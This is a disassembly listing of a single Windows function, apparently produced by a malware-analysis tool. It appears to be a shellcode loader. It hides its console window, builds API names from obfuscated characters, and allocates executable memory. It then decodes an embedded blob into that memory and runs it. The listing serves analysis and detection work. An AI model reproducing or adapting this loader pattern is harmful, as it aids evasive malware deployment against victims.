Function at 0x140001650
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x150
mov qword [rsp + 0x80], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov rax, qword [0x14005db90]
xor rax, rsp
mov qword [rsp + 0x140], rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
test rax, rax
je 0x1400016a3
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
call fcn.140001050
mov edx, 4
lea ecx, [rdx + 0x4b]
call fcn.140001090
mov byte [rsp + 0xb0], al
lea ecx, [rdx + 0x5d]
call fcn.140001090
mov ebx, eax
mov dword [rsp + 0x24], eax
mov byte [rsp + 0xb1], al
lea ecx, [rdx + 0x72]
call fcn.140001090
mov edi, eax
mov byte [rsp + 0xb2], al
lea ecx, [rdx + 0x66]
call fcn.140001090
mov dword [rsp + 0x54], eax
mov byte [rsp + 0xb3], al
mov byte [rsp + 0xb4], bl
lea ecx, [rdx + 0x64]
call fcn.140001090
mov ebx, eax
mov byte [rsp + 0xb5], al
lea ecx, [rdx + 0x33]
call fcn.140001090
mov byte [rsp + 0xb6], al
lea ecx, [rdx + 0x32]
call fcn.140001090
mov byte [rsp + 0xb7], al
lea ecx, [rdx + 0x26]
call fcn.140001090
mov byte [rsp + 0xb8], al
lea ecx, [rdx + 0x5c]
call fcn.140001090
mov dword [rsp + 0x2c], eax
mov byte [rsp + 0xb9], al
mov byte [rsp + 0xba], bl
mov byte [rsp + 0xbb], bl
mov ecx, edx
call fcn.140001090
mov esi, eax
mov dword [rsp + 0x3c], eax
mov byte [rsp + 0xbc], al
lea rcx, [rsp + 0xb0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbp, rax
mov qword [rsp + 0x70], rax
mov edx, 4
lea ecx, [rdx + 0x4e]
call fcn.140001090
mov byte [rsp + 0xc0], al
lea ecx, [rdx + 0x69]
call fcn.140001090
mov byte [rsp + 0xc1], al
mov byte [rsp + 0xc2], dil
lea ecx, [rdx + 0x6c]
call fcn.140001090
mov dword [rsp + 0x5c], eax
mov byte [rsp + 0xc3], al
lea ecx, [rdx + 0x6d]
call fcn.140001090
mov dword [rsp + 0x4c], eax
mov byte [rsp + 0xc4], al
lea ecx, [rdx + 0x61]
call fcn.140001090
mov dword [rsp + 0x34], eax
mov byte [rsp + 0xc5], al
mov byte [rsp + 0xc6], bl
lea ecx, [rdx + 0x41]
call fcn.140001090
mov byte [rsp + 0xc7], al
mov byte [rsp + 0xc8], bl
mov byte [rsp + 0xc9], bl
lea ecx, [rdx + 0x67]
call fcn.140001090
mov dword [rsp + 0x28], eax
mov byte [rsp + 0xca], al
lea ecx, [rdx + 0x63]
call fcn.140001090
mov byte [rsp + 0xcb], al
mov byte [rsp + 0xcc], sil
lea rdx, [rsp + 0xc0]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, 0x4f600
mov r9d, 0x40
mov r8d, 0x1000
mov qword [rsp + 0x68], rdx
xor ecx, ecx
call rax
mov qword [rsp + 0x78], rax
mov edx, 1
lea ecx, [rdx + 0x36]
call fcn.140001090
mov r15d, eax
mov dword [rsp + 0x38], eax
mov byte [rsp + 0xf0], al
lea ecx, [rdx + 0x37]
call fcn.140001090
mov dword [rsp + 0x60], eax
mov byte [rsp + 0xf1], al
lea ecx, [rdx + 0x77]
call fcn.140001090
mov byte [rsp + 0xf2], al
lea ecx, [rdx + 0x41]
call fcn.140001090
mov r13d, eax
mov dword [rsp + 0x44], eax
mov byte [rsp + 0xf3], al
lea ecx, [rdx + 0x46]
call fcn.140001090
mov ebx, eax
mov byte [rsp + 0xf4], al
lea ecx, [rdx + 0x5f]
call fcn.140001090
mov edi, eax
mov byte [rsp + 0xf5], al
lea ecx, [rdx + 0x4f]
call fcn.140001090
mov byte [rsp + 0xf6], al
lea ecx, [rdx + 0x44]
call fcn.140001090
mov esi, eax
mov dword [rsp + 0x30], eax
mov byte [rsp + 0xf7], al
lea ecx, [rdx + 0x68]
call fcn.140001090
mov byte [rsp + 0xf8], al
lea ecx, [rdx + 0x48]
call fcn.140001090
mov r12d, eax
mov byte [rsp + 0xf9], al
lea ecx, [rdx + 0x6f]
call fcn.140001090
mov ebp, eax
mov byte [rsp + 0xfa], al
lea ecx, [rdx + 0x65]
call fcn.140001090
mov byte [rsp + 0xfb], al
mov byte [rsp + 0xfc], dil
lea ecx, [rdx + 0x56]
call fcn.140001090
mov dword [rsp + 0x40], eax
mov byte [rsp + 0xfd], al
mov byte [rsp + 0xfe], sil
mov byte [rsp + 0xff], bl
lea ecx, [rdx + 0x58]
call fcn.140001090
mov dword [rsp + 0x48], eax
mov byte [rsp + 0x100], al
lea ecx, [rdx + 0x64]
call fcn.140001090
mov dword [rsp + 0x58], eax
mov byte [rsp + 0x101], al
lea ecx, [rdx + 0x32]
call fcn.140001090
mov esi, eax
mov byte [rsp + 0x102], al
lea ecx, [rdx + 0x61]
call fcn.140001090
mov dword [rsp + 0x50], eax
mov byte [rsp + 0x103], al
lea ecx, [rdx + 0x33]
call fcn.140001090
mov ebx, eax
mov byte [rsp + 0x104], al
mov byte [rsp + 0x105], sil
lea ecx, [rdx + 0x6b]
call fcn.140001090
mov byte [rsp + 0x106], al
lea ecx, [rdx + 0x38]
call fcn.140001090
mov byte [rsp + 0x107], al
mov byte [rsp + 0x108], r13b
lea ecx, [rdx + 0x6e]
call fcn.140001090
mov r14d, eax
mov byte [rsp + 0x109], al
lea ecx, [rdx + 0x47]
call fcn.140001090
mov dword [rsp + 0x20], eax
mov byte [rsp + 0x10a], al
mov byte [rsp + 0x10b], al
mov byte [rsp + 0x10c], r12b
mov byte [rsp + 0x10d], bpl
lea ecx, [rdx + 0x76]
call fcn.140001090
mov byte [rsp + 0x10e], al
lea ecx, [rdx + 0x50]
call fcn.140001090
mov byte [rsp + 0x10f], al
lea ecx, [rdx + 0x34]
call fcn.140001090
mov edi, eax
mov byte [rsp + 0x110], al
mov byte [rsp + 0x111], r15b
lea ecx, [rdx + 0x49]
call fcn.140001090
mov r15d, eax
mov byte [rsp + 0x112], al
lea ecx, [rdx + 0x6c]
call fcn.140001090
mov r13d, eax
mov byte [rsp + 0x113], al
mov byte [rsp + 0x114], bpl
lea ecx, [rdx + 0x42]
call fcn.140001090
mov byte [rsp + 0x115], al
mov byte [rsp + 0x116], r12b
mov byte [rsp + 0x117], sil
lea ecx, [rdx + 0x3f]
call fcn.140001090
mov r12d, eax
mov byte [rsp + 0x118], al
mov byte [rsp + 0x119], bl
lea ecx, [rdx + 0x51]
call fcn.140001090
mov ebp, eax
mov byte [rsp + 0x11a], al
lea ecx, [rdx + 0x78]
call fcn.140001090
mov byte [rsp + 0x11b], al
mov eax, dword [rsp + 0x44]
mov byte [rsp + 0x11c], al
lea ecx, [rdx + 0x45]
call fcn.140001090
mov byte [rsp + 0x11d], al
mov byte [rsp + 0x11e], dil
lea ecx, [rdx + 0x2f]
call fcn.140001090
mov esi, eax
mov byte [rsp + 0x11f], al
lea ecx, [rdx + 0x70]
call fcn.140001090
mov byte [rsp + 0x120], al
lea ecx, [rdx + 0x30]
call fcn.140001090
mov edi, eax
mov byte [rsp + 0x121], al
mov eax, dword [rsp + 0x20]
mov byte [rsp + 0x122], al
mov eax, dword [rsp + 0x48]
mov byte [rsp + 0x123], al
mov byte [rsp + 0x124], r14b
lea ecx, [rdx + 0x52]
call fcn.140001090
mov byte [rsp + 0x125], al
lea ecx, [rdx + 0x63]
call fcn.140001090
mov byte [rsp + 0x126], al
mov eax, dword [rsp + 0x30]
mov byte [rsp + 0x127], al
lea ecx, [rdx + 0x55]
call fcn.140001090
mov ebx, eax
mov byte [rsp + 0x128], al
mov byte [rsp + 0x129], dil
mov byte [rsp + 0x12a], r12b
mov r14d, dword [rsp + 0x50]
mov byte [rsp + 0x12b], r14b
mov byte [rsp + 0x12c], bpl
mov eax, dword [rsp + 0x20]
mov byte [rsp + 0x12d], al
mov eax, dword [rsp + 0x38]
mov byte [rsp + 0x12e], al
mov byte [rsp + 0x12f], sil
mov byte [rsp + 0x130], bl
lea ecx, [rdx + 0x62]
call fcn.140001090
mov edi, eax
mov byte [rsp + 0x131], al
mov byte [rsp + 0x132], r13b
mov eax, dword [rsp + 0x58]
mov byte [rsp + 0x133], al
mov byte [rsp + 0x134], r15b
mov byte [rsp + 0x135], r14b
lea ecx, [rdx + 0x5a]
call fcn.140001090
mov byte [rsp + 0x136], al
mov eax, dword [rsp + 0x40]
mov byte [rsp + 0x137], al
mov byte [rsp + 0x138], bl
mov byte [rsp + 0x139], r12b
mov byte [rsp + 0x13a], dil
mov eax, dword [rsp + 0x60]
mov byte [rsp + 0x13b], al
lea ecx, [rdx + 0x6a]
call fcn.140001090
mov byte [rsp + 0x13c], al
mov ecx, edx
call fcn.140001090
mov byte [rsp + 0x13d], al
mov qword [rsp + 0xa8], 0xf
xor esi, esi
mov qword [rsp + 0xa0], rsi
mov byte [rsp + 0x90], sil
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0xf0]
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
lea rdx, [rsp + 0xf0]
lea rcx, [rsp + 0x88]
call fcn.1400014b0
nop
mov r12, qword [rsp + 0x78]
mov rdi, r12
lea rbp, [0x14000e490]
sub rbp, r12
nop word [rax + rax]
xor edx, edx
mov rax, rsi
mov rcx, qword [rsp + 0xa0]
div rcx
mov rbx, rdx
cmp rdx, rcx
jbe 0x140001ced
call fcn.140002848
lea rax, [rsp + 0x90]
cmp qword [rsp + 0xa8], 0x10
cmovae rax, qword [rsp + 0x90]
movsx edx, byte [rdi + rbp]
movsx ecx, byte [rbx + rax]
call fcn.140001090
mov byte [rdi], al
inc rsi
inc rdi
sub qword [rsp + 0x68], 1
jne 0x140001cd0
call r12
mov edx, 4
lea ecx, [rdx + 0x3d]
call fcn.140001090
mov byte [rsp + 0xd0], al
mov eax, dword [rsp + 0x54]
mov byte [rsp + 0xd1], al
mov eax, dword [rsp + 0x4c]
mov byte [rsp + 0xd2], al
lea ecx, [rdx + 0x65]
call fcn.140001090
mov edi, eax
mov byte [rsp + 0xd3], al
lea ecx, [rdx + 0x53]
call fcn.140001090
mov byte [rsp + 0xd4], al
lea ecx, [rdx + 0x79]
call fcn.140001090
mov byte [rsp + 0xd5], al
lea ecx, [rdx + 0x73]
call fcn.140001090
mov ebx, eax
mov byte [rsp + 0xd6], al
mov eax, dword [rsp + 0x5c]
mov byte [rsp + 0xd7], al
mov esi, dword [rsp + 0x24]
mov byte [rsp + 0xd8], sil
mov byte [rsp + 0xd9], dil
lea ecx, [rdx + 0x43]
call fcn.140001090
mov byte [rsp + 0xda], al
mov eax, dword [rsp + 0x28]
mov byte [rsp + 0xdb], al
mov eax, dword [rsp + 0x2c]
mov byte [rsp + 0xdc], al
mov byte [rsp + 0xdd], sil
lea ecx, [rdx + 0x50]
call fcn.140001090
mov byte [rsp + 0xde], al
mov eax, dword [rsp + 0x34]
mov byte [rsp + 0xdf], al
lea ecx, [rdx + 0x5f]
call fcn.140001090
mov byte [rsp + 0xe0], al
mov byte [rsp + 0xe1], sil
mov byte [rsp + 0xe2], bl
lea ecx, [rdx + 0x4f]
call fcn.140001090
mov byte [rsp + 0xe3], al
mov eax, dword [rsp + 0x3c]
mov byte [rsp + 0xe4], al
lea rdx, [rsp + 0xd0]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, 1
mov rcx, r12
call rax
nop
cmp qword [rsp + 0xa8], 0x10
jb 0x140001e69
mov rcx, qword [rsp + 0x90]
call fcn.1400023a0
xor eax, eax
jmp 0x140001e6b
xor eax, eax
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.140002540
lea r11, [rsp + 0x150]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret